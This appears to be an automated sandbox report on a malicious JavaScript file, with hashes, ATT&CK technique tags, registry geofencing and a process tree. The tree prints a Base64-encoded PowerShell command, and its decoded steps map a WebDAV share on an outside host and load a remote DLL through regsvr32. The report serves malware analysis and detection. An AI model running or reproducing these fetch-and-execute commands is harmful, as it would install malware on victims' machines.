0fe819a82c169b17064acabab547bd19fd9a3576cba17d0f8e105897056bd845

Analysis

max time kernel
137s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
20/08/2024, 14:25

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General

Target
0fe819a82c169b17064acabab547bd19fd9a3576cba17d0f8e105897056bd845.js
Size 13KB
Sample240820-rrkwsa1bll
SHA256 0fe819a82c169b17064acabab547bd19fd9a3576cba17d0f8e105897056bd845
MD5 964959ae7a5b4b6231bef5143184a347
SHA1 6a53d333e0183cf826f2dad8b47b5b298929c761
SHA512 bdaf9bb2fcf75e5d4cc0dbac0107a8d34454dbfdf95e8be58db186c5515176e3c03cab38e4416186c1be50244f571f97cd5656c54b8bb5a21a9193056bc2fe07
SSDEEP 192:J3fjpB0AHjU4KNLzNrPkDyMsW/u8WnJj8X5sjsIeCuvGlsUatzP:5z0A3KNLJGyp/8qh8ZIjZPKP
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation	wscript.exe

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3320 wrote to memory of 4840	3320	wscript.exe	86
PID 3320 wrote to memory of 4840	3320	wscript.exe	86
PID 4840 wrote to memory of 2348	4840	powershell.exe	88
PID 4840 wrote to memory of 2348	4840	powershell.exe	88
PID 4840 wrote to memory of 3752	4840	powershell.exe	89
PID 4840 wrote to memory of 3752	4840	powershell.exe	89

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\0fe819a82c169b17064acabab547bd19fd9a3576cba17d0f8e105897056bd845.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADcAOAA2ADcAMgAyADgAMgAyADMAMQAxADgANgAuAGQAbABsAA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
    3⤵
    PID:2348
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\278672282231186.dll
    3⤵
    PID:3752

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_2v5o4baw.te5.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2v5o4baw.te5.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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memory/4840-0-0x00007FFDD9FF3000-0x00007FFDD9FF5000-memory.dmp

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memory/4840-6-0x000001DD6C390000-0x000001DD6C3B2000-memory.dmp

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memory/4840-11-0x00007FFDD9FF0000-0x00007FFDDAAB1000-memory.dmp

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memory/4840-12-0x00007FFDD9FF0000-0x00007FFDDAAB1000-memory.dmp

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memory/4840-15-0x00007FFDD9FF0000-0x00007FFDDAAB1000-memory.dmp

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